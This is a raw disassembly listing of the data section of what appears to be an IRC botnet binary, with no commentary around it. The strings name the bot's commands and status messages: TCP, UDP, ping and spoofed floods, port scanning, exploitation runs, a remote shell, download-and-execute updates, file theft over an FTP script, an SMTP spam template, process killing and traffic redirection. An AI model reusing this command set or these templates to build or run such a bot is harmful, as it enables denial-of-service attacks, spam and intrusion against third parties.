		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_4344BC	db    2			; DATA XREF: sub_40CD3A+484Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_4344EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4821o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_434524	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_41153Fo
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_434560	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+47DAo
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_434590	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A:loc_4114E0o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_4345D4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+479Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 10h
dword_434610	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A:loc_411486o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_434658	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+4745o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_434690	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+46FEo
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4346C0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+46D3o
		dd 2029206Ch, 2BBBB02h
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
dword_43470C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+467Ao
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_434744	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+4608o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
		dd 0
unk_434770	db    2			; DATA XREF: sub_40CD3A+45C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_4347C0	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40CD3A+4570o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4347EC	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: sub_40CD3A:loc_411205o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_43481C	db    2			; DATA XREF: sub_40CD3A+44C4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_43484C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4487o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_434878	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+447Fo
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_4348B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4439o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4348EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4425o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_434924	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+43A0o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_434950	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_41109Fo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_434994	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+434Fo
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_4349CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+42CDo
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4349FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+428Fo
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_434A2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4239o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_434A5C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+41CEo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434A84	dd 54524150h, 0D732520h, 0Ah					; sub_40CD3A+4A4Eo
dword_434A90	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+416Do
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+415Fo
		align 4
dword_434ACC	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+4136o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_434AFC	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+40CBo
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_434B2C	dd 45444F4Dh, 732520hdword_434B34	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+4044o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_434B64	dd 4B43494Eh, 732520h					; sub_40CD3A+48ABo
dword_434B6C	dd 4E494F4Ah, 20732520h, 7325hdword_434B78	dd 54524150h, 732520hdword_434B80	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_410C86o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_434BC8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+3F15o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CD3A+3EC4o
		align 4
dword_434BFC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_410BB6o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_434C24	dd 25207325h, 73252073h, 73253A20h, 2 dup(0)					; sub_40CD3A+3EEFo ...
unk_434C38	db    2			; DATA XREF: sub_40CD3A:loc_410B25o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434C90	db    2			; DATA XREF: sub_40CD3A+3DCCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 10h
unk_434CE0	db    2			; DATA XREF: sub_40CD3A+3D73o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CD3A+3CCDo
		align 4
dword_434D2C	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+3C6Eo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_434D58	db    2			; DATA XREF: sub_40CD3A+3C63o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_434D90	db    2			; DATA XREF: sub_40CD3A+3BB1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 10h
unk_434DE0	db    2			; DATA XREF: sub_40CD3A+3B4Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_434E24	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A:loc_4107E9o
					; sub_40CD3A:loc_41143Fo
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_434E44	db    2			; DATA XREF: sub_40CD3A+3A9Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_434E80	db    2			; DATA XREF: sub_40CD3A:loc_4107B2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_434ED0	db    2			; DATA XREF: sub_40CD3A+3A59o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434F1C	db    2			; DATA XREF: sub_40CD3A+39F5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_434F60	db    2			; DATA XREF: sub_40CD3A+3969o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
		align 10h
unk_434FB0	db    2			; DATA XREF: sub_40CD3A+3910o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 8
unk_434FF8	db    2			; DATA XREF: sub_40CD3A+3866o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 8
dword_435048	dd 28026502h, 62302E31h		db 29h,	20h
word_435052	dw 2028h		; DATA XREF: .text:off_4333B4o
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
dword_435090	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+375Do
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_4350E0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+36F5o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_435120	db    2			; DATA XREF: sub_40CD3A+3670o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_435174	db    2			; DATA XREF: sub_40CD3A+3617o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 8
unk_4351B8	db    2			; DATA XREF: sub_40CD3A+3533o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
		align 10h
dword_435210	dd 28026502h, 62302E31h, 20282029h, 69646572h, 74636572h
					; DATA XREF: sub_40CD3A+34DAo
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 54202002h,	72205043h
		dd 72696465h, 20746365h, 61657263h, 20646574h
		db 66h
aRomSDToSD_	db 'rom: %s:%d to: %s:%d.',0 ; DATA XREF: .text:off_42450Co
		align 10h
unk_435260	db    2			; DATA XREF: sub_40CD3A+343Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_4352B0	db    2			; DATA XREF: sub_40CD3A+33E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CD3A+335Do
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CD3A+3263o
		align 10h
dword_435320	dd 54434101h, 204E4F49h, 17325h, 0					; sub_40CD3A+421Ao
dword_435330	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+3161o
					; sub_40CD3A+4D39o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
dword_435380	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+3108o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CD3A+30DDo
					; sub_40CD3A+4CAFo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CD3A+30D6o
					; sub_40CD3A+4CA8o
		align 10h
dword_435410	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+2F98o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_435460	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+2E52o
					; sub_40CD3A+4AF3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 8
dword_4354B8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2E0Co
		dd 2029206Ch, 2BBBB02h
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 8
dword_435508	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2DB3o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CD3A+2CFCo
		align 10h
unk_435580	db    2			; DATA XREF: sub_40CD3A+2CD2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4355D0	db    2			; DATA XREF: sub_40CD3A+2C79o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
dword_435630	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40F8E3o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_435680	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2B8Do
		dd 2029206Ch, 2BBBB02h
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_4356D0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2B29o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CD3A+2B19o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CD3A+2B12o
dword_435728	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2A7Do
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
		align 8
dword_435768	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40F6CEo
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4357A8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+298Do
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CD3A+2976o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40CD3A+295Fo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CD3A+293Fo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CD3A+290Ao
		align 4
dword_435824	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2884o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CD3A+2861o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CD3A+283Eo
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CD3A+2827o
		align 10h
unk_435880	db    3			; DATA XREF: sub_40CD3A+27D8o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 8
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CD3A+2764o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_40CD3A+26C8o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CD3A+2679o
		align 4
aUsa		db 'usa',0              ; DATA XREF: sub_40CD3A+2662o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CD3A+264Bo
		align 4
aPg		db 'pg',0               ; DATA XREF: sub_40CD3A+2634o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CD3A+261Do
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CD3A+2606o
		align 4
aPu		db 'pu',0               ; DATA XREF: sub_40CD3A+25EFo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CD3A+25D8o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CD3A+25C1o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CD3A+2593o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CD3A+256Ao
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CD3A+2553o
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CD3A+253Co
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CD3A+2525o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CD3A+250Eo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CD3A+24F7o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CD3A+24E0o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CD3A+24C9o
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_40CD3A+24B2o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CD3A+249Bo
		align 10h
aSy1		db 'sy1',0              ; DATA XREF: sub_40CD3A+2484o
